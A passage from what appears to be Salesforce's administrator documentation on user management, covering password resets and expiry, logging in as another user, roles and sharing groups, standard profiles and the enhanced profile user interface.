Subscription information cant be restored if you deactivate multiple users that are following each other. For example, user
A follows user B and user B follows user A. If you deactivate user A and user B, their subscription information to each
other is deleted from Following and Followers lists and cant be restored if you reactivate the users.

It's possible for inactive users to be listed as Created By users even though they are no longer active in an organization.
This can happen because some system operations create records and toggle preferences, acting as an arbitrary administrator
user in your organization to complete the task. This user may be active or inactive.
You cant deactivate a user if theyre assigned as the sole recipient of a workflow email alert.

See Also:
Mass Transferring Records
Adding a Single User
Editing Users
Viewing and Managing Users
Disabling and Deactivating Portal Users

510

User Management

Viewing and Managing Users

Resetting Passwords
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To reset passwords:

Reset Passwords and Unlock Users

To reset a users password:


1. Click Your Name > Setup > Manage Users > Users.
2. Select the checkbox next to the users name. Optionally, to change the passwords for all currently displayed users, check
the box in the column header to select all rows.
3. Click Reset Password to have a new password emailed to the user.
Tips on Resetting Passwords
Consider the following when resetting passwords:

Only an administrator can reset Single Sign-On user passwords; Single Sign-On users cannot reset their own passwords.
For information about Single Sign-On, see About Single Sign-On on page 671.
Resetting users' passwords, might cause them to activate their computers to successfully log in to Salesforce. For more
information, see Activating Your Computer on page 44.
Resetting locked-out users' passwords automatically unlocks their accounts as well.
When users lose their passwords, they can click the Forgot your password? link on a failed login page to receive a new
password via email. They must correctly answer a previously defined security question before they can reset their password
and log in. You can customize part of the page where the user answers the security question with additional information
about where to go to for help. See Setting Password Policies on page 665.
Note: If the user has not defined a security question, or fails to answer correctly when trying to login, the password
is not reset.

See Also:
Expiring Passwords
Viewing and Managing Users

511

User Management

Viewing and Managing Users

Expiring Passwords
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To expire all passwords:

Manage Users

To expire passwords for all users, except those with the Password Never Expires permission:
1. Click Your Name > Setup > Security Controls > Expire All Passwords.
2. Select the Expire all user passwords checkbox.
3. Click Save.
The next time each user logs in, he or she will be prompted to reset his or her password.
Tips on Expiring Passwords
Consider the following when expiring passwords:

After you expire passwords, users might need to activate their computers to successfully log in to Salesforce. See Activating
Your Computer on page 44.
You can expire passwords for all users any time you want to enforce extra security for your organization. For more options
you can set to ensure password security, see Setting Password Policies on page 665.

See Also:
Resetting Passwords

Logging In as Another User


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To log in as another user who has granted you access:

Modify All Data

To assist other users, administrators can log in to Salesforce as another user. Depending on your organization settings, individual
users may need to first grant login access to administrators.
To log in as another user:
1. Click Your Name > Setup > Manage Users > Users.

512

User Management

Viewing and Managing Users

2. Click the Login link next to the user name. This link is only available for users who have granted login access to an
administrator, or in organizations where administrators can log in as any user.
3. Click Users Name > Logout to return to your administrator account.
Note: You can also log in as another user from the user detail page and the Users in Role list page.

See Also:
Viewing and Managing Users

Granting Checkout Access


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To grant Checkout access:

Manage Billing

To edit users:

Manage Users

Users with the Manage Billing permission have access to Checkout when it is enabled for your organization. These users
can also grant access to other users within your organization. Users with Checkout access can purchase Salesforce licenses,
AppExchange app licenses, and other related products. Additionally, within Checkout, users can view the organization's
quotes, installed products, orders, invoices, payments, and contracts.
To give a user access to Checkout:
1.
2.
3.
4.

Click Your Name > Setup > Manage Users > Users.
Click on the appropriate user's name to open the user detail page.
Click Edit.
Select the Checkout Enabled checkbox. The user is notified by email when his or her Checkout account is activated
and available for login.

513

User Management

Viewing and Managing Users

Setting Quotas for Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set your quota:

Edit Personal Quota

To set any users quota:

Manage Users

Users with the appropriate permission can set their individual quota. Administrators and users with the appropriate permission
can always edit any quota, and managers can always change the quotas of users that report directly to them in the role hierarchy.
1. To set your personal quota, click Your Name > Setup > My Personal Information > Personal Information. To change
the quota of a user that reports to you, click Your Name > Setup > Manage Users > Users, and select the appropriate user.
2. Click Edit in the Quotas related list.
3. Select the appropriate range start and range length. If available, select a territory and product family.
Note: If your organization uses custom fiscal years, you cannot set quotas for a period that does not have a defined
fiscal year.
4. Enter the quota amounts for revenue and/or quantity.
5. Select the appropriate currency if you work with more than one currency.
6. Click Save to save the quota and return to the user detail page, or click Quick Save to save the values and continue to edit
the quota.
Tip: Using Quick Save allows you to quickly set a different quota for each product family.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 2502. For
information on setting quotas if you do not have customizable forecasting, see Adding and Editing Quotas on page
46.
You can also use tools like the Data Loader to do mass updates on quotas. When updating quotas, set the quota field value
on the RevenueForecast or QuantityForecast objects.

See Also:
Viewing and Managing Users

514

User Management

Overview of Roles

Overview of Roles
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create, edit, and delete roles:

Manage Users

To assign users to roles:

Manage Users

Depending on your sharing settings, roles can control the level of visibility that users have into your organizations data. Users
at any given role level can view, edit, and report on all data owned by or shared with users below them in the hierarchy, unless
your organizations sharing model for an object specifies otherwise. Specifically, in the Organization-Wide Defaults related
list, if the Grant Access Using Hierarchies option is disabled for a custom object, only the record owner and users granted
access by the organization-wide defaults receive access to the object's records.
Note: The following information applies to roles for your organization's users. For information about roles for partner
users and Salesforce Customer Portal users, see About Partner Portal Channel Manager User Management on page
3486 and About Customer Portal User Management on page 1696.

Working with Roles


To view and manage your organization's roles, click Your Name > Setup > Manage Users > Roles.

Choose one of the following list view options:


Show in tree view
See a visual representation of the parent-child relationships between your roles. Click Expand All to see all roles, or
Collapse All to see only top-level roles. To expand or collapse an individual node, click the plus (+) or minus (-)
icon.
Show in sorted list view
See a list that you can sort alphabetically by role name, parent role (Reports to), or report display name. If your
organization has a large number of roles, use this view for easy navigation and filtering.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to
define your own custom view. To edit or delete any view you created, select it from the View drop-down list and
click Edit.
Show in list view
See a list of roles and their children, grouped alphabetically by the name of the top-level role. The columns are not
sortable. This view is not available for hierarchies with more than 1,000 roles.

To create a role, click New Role or Add Role, depending whether you are viewing the list view or tree view of roles, then
edit the role fields as needed. You can create up to 500 roles for your organization.
To edit a role, click Edit next to a role name, then update the role fields as needed.
To delete a role, click Delete next to the role name.
To assign other users to a role, click Assign next to the role name.
To view detailed information about a role, click a role name. If you are a Salesforce Knowledge user, you can modify
category visibility settings on the role detail page.

515

User Management

Overview of Roles

Tip: To simplify user management in organizations with large numbers of users, enable delegated administrators to
manage users in specified roles and all subordinate roles.

Notes on Roles

Every user must be assigned to a role, or their data will not display in opportunity reports, forecast roll-ups, and other
displays based on roles. If your organization uses territory management, forecasts are based on the territory hierarchy rather
than the role hierarchy.
All users that require visibility to the entire organization should belong to the highest level in the hierarchy.
It is not necessary to create individual roles for each title at your company, rather you want to define a hierarchy of roles
to control access of information entered by users in lower level roles.
When you change a users role, any relevant sharing rules are evaluated to add or remove access as necessary.
When an account owner is not assigned a role, the sharing access for related contacts is Read/Write, provided the
organization-wide default for contacts is not Controlled by Parent. Sharing access on related opportunities and cases is
No Access.
Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults.

See Also:
Viewing and Editing Roles
Setting Up Your Customer Portal
Managing Data Categories
Salesforce Knowledge Overview

Viewing and Editing Roles


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view role details:

View Setup and Configuration

To edit and delete roles:

Manage Users

To view users:

View Setup and Configuration

To edit users:

Manage Users

To view detailed information about a role, click Your Name > Setup > Manage Users > Roles, and click the role name.
In the Role Detail related list:

To view the role detail page for a parent or sibling role, click the role name in the Hierarchy or Siblings list.
To edit the role details, click Edit.
To remove the role from the hierarchy, click Delete.

In the Users in Role related list:

516

User Management

Overview of Roles

To assign a user to the role, click Assign Users to Role.


To add a user to your organization, click New User.
To modify user information, click Edit next to a user name.
To view a user's details, click the user's full name, alias, or username.
When Active is selected, the user can log into Salesforce. Deactivated users, such as employees who are no longer with
your company, cannot log in to Salesforce.

In the Category Group Visibility Settings related list, you can:

Click a category group to view its setting details.


Click Edit next to a category group to modify its visibility settings.
Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove
access as needed. If these changes affect too many records at once, a message appears warning that the sharing rules
won't be automatically reevaluated, and you must manually recalculate them.

See Also:
Recalculating Sharing Rules
Overview of Roles
Role Fields
Managing Data Categories

Assigning Users to Roles


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To assign users to roles:

Manage Users

To quickly assign users to a particular role:


1. Click Your Name > Setup > Manage Users > Roles.
2. Click Assign next to the name of the desired role.
Note: You can also access this page by clicking Assign Users to Role from the Users in Role related list.

3. Make a selection from the drop-down list to show the available users.
4. Select a user on the left, and click Add to assign the user to this role.

517

User Management

Overview of Roles

Note: Removing a user from the Selected Users list deletes the role assignment for that user.

See Also:
Role Fields
Overview of Roles
Viewing and Editing Roles

Role Fields
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create or edit roles:

Manage Users

The following fields (listed in alphabetical order) make up a role entry. Some of these fields may not be visible or editable
depending on your organization's permissions and sharing settings.
Field

Description

Case Access

Specifies whether users can access other users cases that are
associated with accounts the users own. This field is not visible
if your organizations sharing model for cases is Public
Read/Write.

Contact Access

Specifies whether users can access other users contacts that


are associated with accounts the users own. This field is not
visible if your organizations sharing model for contacts is
Public Read/Write or Controlled by Parent.

Label

The name used to refer to the role or title of position in any


user interface pages, for example, Western Sales VP.

Modified By

The name of the user who last modified this role's details, and
the date and time that the role was modified.

Opportunity Access

Specifies whether users can access other users opportunities


that are associated with accounts the users own. This field is
not visible if your organizations sharing model for
opportunities is Public Read/Write.

518

User Management

Overview of Roles

Field

Description

Partner Role

Indicates whether this role is associated with a partner account.


This field is available only when a Customer Portal or partner
portal is enabled for the organization.
If this checkbox is selected, you cannot edit the role. The
default number of roles in portal accounts is three. You can
reduce the number of roles or add roles to a maximum of three.

Role Name

The unique name used by the API and managed packages.


The name must begin with a letter and use only alphanumeric
characters and underscores. The name cannot end with an
underscore or have two consecutive underscores.

Role Name as displayed on reports

A role name that appears in reports. When editing a role, if


the Role Name is long, you can enter an abbreviated name
in this field.

Sharing Groups

These groups are automatically created and maintained. The


Role group contains all users in this role plus all users in roles
above this role. The Role and Subordinates group contains all
users in this role plus all users in roles above and below this
role in the hierarchy. The Role and Internal Subordinates
group (available if Customer Portals or partner portals are
enabled for your organization) contains all users in this role
plus all users in roles above and below this role, excluding
Customer Portal and partner portal users.

This role reports to

The role above this role in the hierarchy.

See Also:
Assigning Users to Roles
Overview of Roles

519

User Management

Overview of Roles

Viewing Role and Territory Sharing Groups


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Territories are not available in Database.com

User Permissions Needed


To view users:

View Setup and Configuration

To edit users:

Manage Users

For each role in your hierarchy Salesforce automatically creates sharing groups, which you can use in sharing rules and manual
sharing:

Roleusers in the role plus users in roles above it in the hierarchy


Role and Subordinatesusers in the role plus users in roles above and below it in the hierarchy
Role and Internal Subordinatesusers in the role, plus users in roles above and below it in the hierarchy, excluding
Customer Portal or partner portal users. This group is visible only if Customer Portals or partner portals are enabled for
your organization.

If territory management is enabled for your organization, each territory has sharing groups:

Territoryusers in the territory plus users in territories above it in the hierarchy


Territory and Subordinatesusers in the territory plus users in territories above and below it in the hierarchy
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

To view sharing group members:


1. For roles, click Your Name > Setup > Manage Users > Roles.
For territories, click Your Name > Setup > Manage Territories > Hierarchy.
2. Click the role or territory name.
3. Click a link in the Sharing Groups field.
From this page, you can view detailed user information, edit user information, and access related information.

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Edit next to a username to edit the user information.
Click Login next to a username to log in as that user. This link is only available for users who have granted login access
to an administrator, or in organizations where administrators can log in as any user.

See Also:
Role Fields

520

User Management

User Profiles Overview

Viewing Users in Role Lists


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view users:

View Setup and Configuration

To edit users:

Manage Users

The Users in Role list page displays a list of users assigned to the selected role. From this page, you can view detailed user
information, edit users, and access other related information.

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Edit next to a user name to edit the user information.
Click Login next to a user name to log in as that user. This link is only available for users who have granted login access
to an administrator, or in organizations where administrators can log in as any user.

See Also:
Overview of Roles

User Profiles Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

A profile contains user permissions and access settings that control what users can do within their organization.
Depending on which profile user interface is enabled in your organization, you can:

View and edit profiles in the enhanced profile user interface


View and edit profiles in the original profile user interface

You can also use a list view to edit multiple profiles.


Profiles control:

Which standard and custom apps users can view


Which tabs users can view
Which record types are available to users
Which page layouts users see
Object permissions that allow users to create, read, edit, and delete records
Which fields within objects users can view and edit
Permissions that allow users to manage the system and apps within it

521

User Management

User Profiles Overview

Which Apex classes and Visualforce pages users can access


Which desktop clients users can access
The hours during which and IP addresses from which users can log in
Which service providers users can access (if Salesforce is enabled as an identity provider)
Note: Chatter customers (users with the Chatter External User profile) can only see groups they belong to and people
in those groups; they can't see any Salesforce information. If your organization uses a custom domain or IP restrictions,
it's recommended that users with the Chatter External User log in using single sign-on on page 671.

In Contact Manager, Group, and Professional Edition organizations, you can assign standard profiles to your users, but you
can't view or edit the standard profiles or create custom profiles. In Enterprise, Unlimited, and Developer Edition organizations,
you can use standard profiles, or create, edit, and delete custom profiles. For standard profiles, only certain settings can be
changed.
Each standard or custom profile belongs to exactly one user license type.

See Also:
Overview of User Permissions and Access
Standard Profiles
Understanding User License Types
Cloning Profiles

Standard Profiles
The standard profiles available vary according to the Edition you have.

There are standard profiles in every organization. In Enterprise, Unlimited, and Developer Edition, you can use standard
profiles or create, edit, and delete custom profiles. In organizations where you can't create custom profiles (such as Contact
Manager, Group, and Professional Edition), you can assign standard profiles to your users, but you can't view or edit them.
Profile Name

Available Permissions

System Administrator

Can configure and customize the application. Has access to


all functionality that does not require an additional license.
For example, administrators cannot manage campaigns unless
they also have a Marketing User license. Can manage price
books and products. Can edit any quota, override forecasts,
and view any forecast.

Standard Platform User

Can use custom Force.com AppExchange apps developed in


your organization or installed from AppExchange. In addition,
can use core platform functionality such as accounts, contacts,
reports, dashboards, and custom tabs. For more information
on Salesforce Platform user licenses, see Understanding User
License Types on page 602.

522

User Management

User Profiles Overview

Profile Name

Available Permissions

Standard Platform One App User

Can use one custom AppExchange app developed in your


organization or installed from AppExchange. The custom app
is limited to five tabs. In addition, can use core platform
functionality such as accounts, contacts, reports, dashboards,
and custom tabs.

Standard User

Can create and edit most major types of records, run reports,
and view the organization's setup. Can view, but not manage,
campaigns. Can create, but not review, solutions. Can edit
personal quota and override forecasts.

Partner User

Can only log in via a partner portal.

High Volume Customer Portal

Can only log in via a Customer Portal. For more information,


see About High-Volume Portal Users (Service Cloud Portal
Users) on page 1702

and
Authenticated Website
Both user licenses are high-volume portal users
Customer Portal User

Can only log in via a Customer Portal. Can view and edit data
they directly own or data owned by or shared with users below
them in the Customer Portal role hierarchy; and they can view
and edit cases where they are listed in the Contact Name
field.

Customer Portal Manager

Can only log in via a Customer Portal. Can view and edit data
they directly own or data owned by or shared with users below
them in the Customer Portal role hierarchy; and they can view
and edit cases where they are listed in the Contact Name
field.

Solution Manager

Can review and publish solutions. Also has access to the same
functionality as the Standard User.

Marketing User

Can manage campaigns, import leads, create letterheads, create


HTML email templates, manage public documents, and
update campaign history via the import wizards. Also has
access to the same functionality as the Standard User.

Contract Manager

Can create, edit, activate, and approve contracts. This profile


can also delete contracts as long as they are not activated. Can
edit personal quota and override forecasts.

Read Only

Can view the organization's setup, run and export reports, and
view, but not edit, other records.

Chatter Only User

Can only log in to Chatter. Can access all standard Chatter


people, profiles, groups, and files. Additionally, they can:
View Salesforce accounts and contacts
Use Salesforce CRM Content, Salesforce CRM Ideas, and
Answers

523

User Management

Profile Name

User Profiles Overview

Available Permissions

Modify up to ten custom objects


Note: You must expose the tabs for the standard
Salesforce objects that the Chatter Only user profile
can access, as they are hidden by default for these users.
Professional Edition organizations must have Profiles
enabled to perform these tasks. Contact your sales
representative for more information.

Only available with the Chatter Only user license.


Chatter Free User

Can only log in to Chatter. Can access all standard Chatter


people, profiles, groups, and files.
Only available with the Chatter Free user license.

Chatter External User

Can only log into Chatter and access groups they've been
invited to and interact with members of those groups. Only
available with the Chatter External user license.

Chatter Moderator User

Can only log in to Chatter. Can access all standard Chatter


people, profiles, groups, and files. Additionally, this user can:
Activate and deactivate other Chatter Free users and
moderators
Grant and revoke moderator privileges
Delete posts and comments that they can see
Note: Changing a user's profile from Chatter
Moderator User to Chatter Free User removes
moderator privileges in Chatter.
If a user is assigned a custom Chatter profile that you
created, they will lose the custom profile settings when
assigned to the Chatter Moderator User profile.
Only available with the Chatter Free user license.

Site.com Only User

Can only log in to the Site.com app. Each Site.com Only user
also needs a Site.com Publisher feature license to create and
publish sites, or a Site.com Contributor feature license to edit
the site's content. See Setting Up Site.com Users on page 2259.
Additionally, this user can:

Use one custom app with up to 20 custom objects


Access the Content app, but not the Accounts and
Contacts objects
Create unlimited custom tabs

524

User Management

Profile Name

User Profiles Overview

Available Permissions
Only available with the Site.com Only user license.

See Also:
User Profiles Overview
About Customer Portal User Management
Overview of User Permissions and Access

Viewing Profile Lists


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
The Customer Portal and partner portals are not available in Database.com

User Permissions Needed


To view profiles, and print profile lists:

View Setup and Configuration

To delete profile list views:

Manage Users

To delete custom profiles:

Manage Users
AND
Customize Application

A profile contains user permissions and access settings that control what users can do within their organization. To view the
profiles in your organization, click Your Name > Setup > Manage Users > Profiles.
Viewing Enhanced Profile Lists
If enhanced profile list views are enabled for your organization, you can use additional tools to customize, navigate, manage,
and print profile lists.

Show a filtered list of profiles by selecting a view from the drop-down list.
Delete a view by selecting it from the drop-down list and clicking Delete.
Create a list view or edit an existing view.
Create a profile.
Print a list view.
Refresh the list view after creating or editing a view by clicking
Edit permissions directly in the list view.
View or edit a profile by clicking its name.
Delete a custom profile by clicking Del next to its name.

525

User Management

User Profiles Overview

Viewing the Basic Profile List

Create a profile.
View or edit a profile by clicking its name.
Delete a custom profile by clicking Del next to its name.

See Also:
User Profiles Overview
Creating and Editing Profile List Views
Working in the Enhanced Profile User Interface Overview Page
Working with Profiles in the Original Profile Interface
Customizing User Interface Settings

Creating and Editing Profile List Views


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create, edit, and delete profile list views:

Manage Users

If enhanced profile list views are enabled for your organization, you can create profile list views to show a set of profiles with
the fields you choose. For example, you could create a list view of all profiles in which Modify All Data is enabled.
1. In the Profiles page, click Create New View, or select a view and click Edit.
2. Enter the view name.
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals
True.
a.
b.
c.
d.

Type a setting name, or click the lookup icon


to search for and select the setting you want.
Choose a filter operator.
Enter the value that you want to match.
To specify another filter condition, click Add New. You can specify up to 25 filter condition rows.
To remove a filter condition row and clear its values, click the remove row icon .

4. Under Select Columns to Display, specify the profile settings that you want to appear as columns in the list view.
a. From the Search drop-down list, select the type of setting you want to search for.
b. Enter part or all of a word in the setting you want to add and click Find.
Note: If the search finds more than 500 values, no results appear. Use the preceding steps to refine your search
criteria and show fewer results.
c. To add or remove columns, select one or more column names and click the Add or Remove arrow.

526

User Management

User Profiles Overview

d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want.
You can add up to 15 columns in a single list view.
5. Click Save, or if you're cloning an existing view, rename it and click Save As.

See Also:
User Profiles Overview
Editing Multiple Profiles with Profile List Views
Viewing Profile Lists
Deleting List Views

Editing Multiple Profiles with Profile List Views


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To edit multiple profiles from the list view:

Manage Users
AND
Customize Application
AND
Mass Edits from Lists

If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from
the list view, without accessing individual profile pages. Editable fields display a pencil icon ( ) when you hover over the field,
while non-editable fields display a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears but the
setting is not actually editable.
Caution: Use care when editing profiles with this method. Because profiles affect a user's fundamental access, making
mass changes may have a widespread effect on users in your organization.
To change permissions in one or more profiles:
1. Select or create a list view that includes the profiles and permissions you want to edit.
2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages,
Salesforce remembers which profiles are selected.
3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected
profiles.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change
other permissions. For example, if Customize Application and View Setup and Configuration are disabled and you
enable Customize Application, then View Setup and Configuration is also enabled. In this case, the dialog box lists
the affected permissions.

527

User Management

User Profiles Overview

5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.
Note:

For standard profiles, inline editing is available only for the Single Sign-On and Affected By Divisions
permissions.
If you edit multiple profiles, only those profiles that support the permission you are changing will change. For
example, if you use inline editing to add Modify All Data to multiple profiles, but because of its user license the
profile doesn't have Modify All Data, the profile won't change.

If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name
to open the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser
allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview
Reminder Alert.
Any changes you make are recorded in the setup audit trail.

See Also:
Viewing Profile Lists

Cloning Profiles
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create profiles:

Manage Users

Tip: If youre cloning a profile to enable certain permissions or access settings for one or more users, you might be
able to enable those permissions or access settings using permission sets. For more information, see Permission Sets
Overview.
1. Click Your Name > Setup > Manage Users > Profiles.
2. In the Profiles list page, do one of the following:

Click New Profile, then select an existing profile thats similar to the one you want to create.
If enhanced profile list views are enabled, click Clone next to a profile thats similar to the one you want to create.
Click the name of a profile thats similar to the one you want to create, then in the profile page, click Clone.

A new profile uses the same user license as the profile it was cloned from.
3. Enter a profile name.

528

User Management

User Profiles Overview

4. Click Save.

See Also:
User Profiles Overview

Viewing a Profile's Assigned Users


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view users that are assigned to a profile:

View Setup and Configuration

To create and edit users:

Manage Users

To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile
user interface) or View Users (in the original profile user interface). From the assigned users page, you can:

Create one or multiple users


Reset passwords for selected users
Edit a user
View a user's detail page by clicking the name, alias, or username
View or edit a profile by clicking the profile name
Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization)

See Also:
User Profiles Overview

Enhanced Profile User Interface Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The enhanced profile user interface provides a streamlined experience for managing profiles. With it, you can easily navigate,
search, and modify settings for a profile.
You can enable the enhanced profile user interface in the User Interface settings page. Your organization can only use one
profile user interface at a time.

529

User Management

User Profiles Overview

Note: You can't use the enhanced profile user interface if:

You use Microsoft Internet Explorer 6 or earlier to manage your profiles (unless you've installed the Google
Chrome Frame plug-in for Internet Explorer).
Your organization uses category groups on guest profiles used for sites.
Your organization delegates partner portal administration to portal users.

See Also:
Working in the Enhanced Profile User Interface Overview Page
App and System Settings in the Enhanced Profile User Interface
User Profiles Overview

Working in the Enhanced Profile User Interface Overview Page


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Assigned apps, standard objects, tabs, and Visualforce are not available in Database.com

User Permissions Needed


To view profiles:

View Setup and Configuration

To delete profiles and edit profile properties:

Manage Users

In the enhanced profile user interface, the profile overview page provides an entry point for all of the settings and permissions
for a single profile. To open the profile overview page, click Your Name > Setup > Manage Users > Profiles and click the
profile you want to view.
From the profile overview page, you can:

Search for an object, permission, or setting


Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
View a list of users who are assigned to the profile
Click any of the following links to view or edit permissions and settings:

Assigned Apps
Object Settings (tab settings, record types and page layout settings, object permissions, and field permissions)
App Permissions
Apex Class Access
Visualforce Page Access
System Permissions
Desktop Client Access
Login Hours

530

User Management

User Profiles Overview

Login IP Ranges
Service Providers (if Salesforce is enabled as an identity provider)

See Also:
App and System Settings in the Enhanced Profile User Interface
Enhanced Profile User Interface Overview

App and System Settings in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Database.com Edition doesn't include assigned apps, tabs, record types, page layouts, Visualforce, and desktop clients

In the enhanced profile user interface, administrators can easily navigate, search, and modify settings for a single profile.
Permissions and settings are organized into pages under app and system categories, which reflect the rights users need to
administer and use app and system resources.
App Settings
Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components,
data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs
that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of
your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather
than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and
campaign members.
In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with
the business processes that the apps enable. For example, customer service agents may need to manage cases, so the Manage
Cases permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions.
For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes
and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps
section contains links to these pages:

Assigned Apps
Object Settings, which include:

Tab settings
Record types and page layout settings
Object permissions
Field permissions

App Permissions
Apex Class Access
Visualforce Page Access
Note: Regardless of the currently selected app, all of a user's permissions are respected. For example, although the
Import Leads permission is under the Sales category, a user can import leads even while in the Call Center app.

531

User Management

User Profiles Overview

System Settings
Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges
control a user's ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example,
the Run Reports and Manage Dashboards permissions allow managers to create and manage reports in all apps. In some
cases, such as with Modify All Data, a permission applies to all apps, but also includes non-app functions, like the ability to
download the Data Loader.
In the enhanced profile user interface, the System section of the overview page contains links to these pages:

System Permissions
Desktop Client Access
Login Hours
Login IP Ranges
Service Providers (if Salesforce is enabled as an identity provider)

See Also:
Enhanced Profile User Interface Overview

Searching in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
The following items don't appear in searches when using the enhanced profile user interface with Database.com: standard
objects, assigned apps, tabs, Visualforce page access settings, and desktop client access settings.

User Permissions Needed


To find permissions and settings in a profile:

View Setup and Configuration

On any of the profile pages, type at least three consecutive letters of an object, tab, permission, or setting name in the Find
Settings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear
in a list. Click an item in the list to go to its settings page.
You can search for:
Item

Example

Assigned apps

Type sales in the Find Settings box, then select Sales from the list.

Objects

Type an existing objects name. For example, lets say you have an Albums
custom object, type albu, then select Albums.

Fields

Type the name of the object that contains the field. For example, lets say
your Albums object contains a Description field. To find the Description
field for albums, type albu, select Albums, and scroll down to
Description under Field Permissions.

Tabs

Type rep, then select Reports.

532

User Management

User Profiles Overview

Item

Example

Apex class access settings

Type apex, then select Apex Class Access.

Visualforce page access settings

Type VISU, then select Visualforce Page Access.

App and system permissions

Type api, then select API Enabled.

Desktop client access settings

Type des, then select Desktop Client Access.

Login hours and login IP ranges

Type log, then select Login Hours or Login IP Ranges.


Or type ip r, then select Login IP Ranges.

Service providers (available only if Salesforce is


enabled as an identity provider)

Type serv, then select Service Providers.

If no results appear in a search:

The permission, object, tab, or setting you're searching for may not be available in the current organization.
The item you're searching for may not be available for the user license that's associated with the current profile. For example,
a profile with the High Volume Customer Portal license doesn't include the Modify All Data permission.
Be sure your search terms have at least three consecutive characters that match the name of the item you want to find.
Be sure the search term is spelled correctly.

Working with Assigned Apps in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view assigned app settings:

View Setup and Configuration

To edit assigned app settings:

Manage Users

In the enhanced profile user interface, the Assigned Apps page shows which apps are visible to users with the selected profile.
The default app appears when users log in for the first time. Every profile must have at least one visible app, except for profiles
associated with Customer Portal users because apps are not available to them.
On the Assigned Apps page in the enhanced profile user interface, you can:

Change the assigned apps


Search for an object, permission, or setting
Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
Go to the profile overview page by clicking Profile Overview

533

User Management

User Profiles Overview

Switch to a different settings page by clicking the down arrow next to the Assigned Apps link and selecting the page you
want

See Also:
Working in the Enhanced Profile User Interface Overview Page

Working with Object Settings in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Tabs, record types, and page layouts are not available in Database.com

User Permissions Needed


To view object settings:

View Setup and Configuration

In the enhanced profile user interface, the Object Settings page shows tab settings, record types and page layout settings, object
permissions, and field permissions for all objects and tabs in your organization.
On the Object Settings pages in the enhanced profile user interface, you can:

View or edit:

Tab settings
Record types and page layout assignments
Object permissions
Field permissions for an object

Search for an object, permission, or setting


Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
Go to the profile overview page by clicking Profile Overview
Switch to a different settings page by clicking the down arrow next to the Object Settings name and selecting the page
you want
If you're in an object or tab page, switch to a different object or tab page by clicking the down arrow next to the object or
tab name and selecting the object or tab you want

See Also:
